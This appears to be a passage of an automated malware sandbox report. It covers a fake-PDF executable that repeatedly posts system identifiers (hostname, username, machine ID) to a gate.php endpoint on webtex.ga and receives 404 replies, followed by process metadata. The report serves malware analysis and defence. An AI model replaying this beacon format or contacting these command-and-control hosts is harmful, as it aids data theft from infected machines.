Dec 3, 2020 10:02:58.834182978 CET	280	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:58.876024008 CET	281	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.3	49801	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:59.111865997 CET	282	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:59.128403902 CET	282	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:59.170835972 CET	283	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
82	192.168.2.3	49802	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:59.381632090 CET	285	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:59.398376942 CET	286	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:59.445429087 CET	287	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
83	192.168.2.3	49805	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:59.677287102 CET	290	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:59.693955898 CET	290	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:59.735945940 CET	290	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:16 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
84	192.168.2.3	49806	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:59.972609997 CET	298	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:59.989301920 CET	298	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:00.035090923 CET	299	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:17 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.3	49807	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:00.268384933 CET	304	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:00.285536051 CET	304	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:00.328424931 CET	304	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:17 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.3	49808	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:01.603998899 CET	305	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:01.621512890 CET	305	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:01.806380033 CET	306	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:18 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.3	49809	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:02.010652065 CET	307	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:02.027199030 CET	307	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:02.067979097 CET	307	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.3	49810	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:02.313843012 CET	308	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:02.331137896 CET	308	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:02.375623941 CET	309	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.3	49811	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:02.613555908 CET	309	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:02.630259037 CET	310	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:02.672327995 CET	310	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:19 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49718	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:02:32.492296934 CET	77	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:02:32.509088993 CET	77	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:02:32.556118011 CET	77	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:04:49 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.3	49812	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:02.888199091 CET	311	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:02.904993057 CET	311	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:02.951844931 CET	311	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.3	49813	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:03.157768011 CET	312	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:03.175729990 CET	312	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:03.217158079 CET	313	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.3	49814	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:03.503053904 CET	313	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:03.519722939 CET	314	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:03.562712908 CET	314	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:20 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.3	49815	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:03.856348038 CET	315	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:03.873203039 CET	315	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:03.913266897 CET	315	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.3	49816	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:04.112260103 CET	316	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:04.129261971 CET	316	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:04.173197985 CET	317	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.3	49817	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:04.389681101 CET	318	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:04.408771038 CET	318	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:04.451117039 CET	318	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:21 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.3	49818	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:04.904412985 CET	319	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:04.921765089 CET	319	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:04.964256048 CET	320	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.3	49819	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:05.283814907 CET	320	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:05.300465107 CET	321	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:05.344181061 CET	321	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.3	49820	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:05.585961103 CET	322	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:05.602524042 CET	322	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:05.649936914 CET	322	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:22 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.3	49821	47.91.79.163	80	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe

Timestamp	kBytes transferred	Direction	Data
Dec 3, 2020 10:03:06.054061890 CET	323	OUT	POST /ibiki/gate.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: webtex.ga Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 31904CD2 Content-Length: 163 Connection: close
Dec 3, 2020 10:03:06.070720911 CET	323	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 68 00 61 00 72 00 64 00 7a 00 01 00 0c 00 00 00 34 00 33 00 36 00 34 00 33 00 32 00 01 00 1e 00 00 00 44 00 45 00 53 00 4b 00 54 00 4f 00 50 00 2d 00 37 00 31 00 36 00 54 00 37 Data Ascii: (ckav.ruhardz436432DESKTOP-716T77108F9C4E9C79A3B52B3F739430
Dec 3, 2020 10:03:06.116899967 CET	324	IN	HTTP/1.0 404 Not Found Date: Thu, 03 Dec 2020 07:05:23 GMT Server: Apache X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: PI_Nov9071011998_ENTRUSTpdf.exe PID: 3476 Parent PID: 5668

General

Start time:	10:02:19
Start date:	03/12/2020
Path:	C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\PI_Nov9071011998_ENTRUSTpdf.exe'
Imagebase:	0xc10000
File size:	359424 bytes
MD5 hash:	2349D50A67C2EF85661EF2BE6DEF2CC3
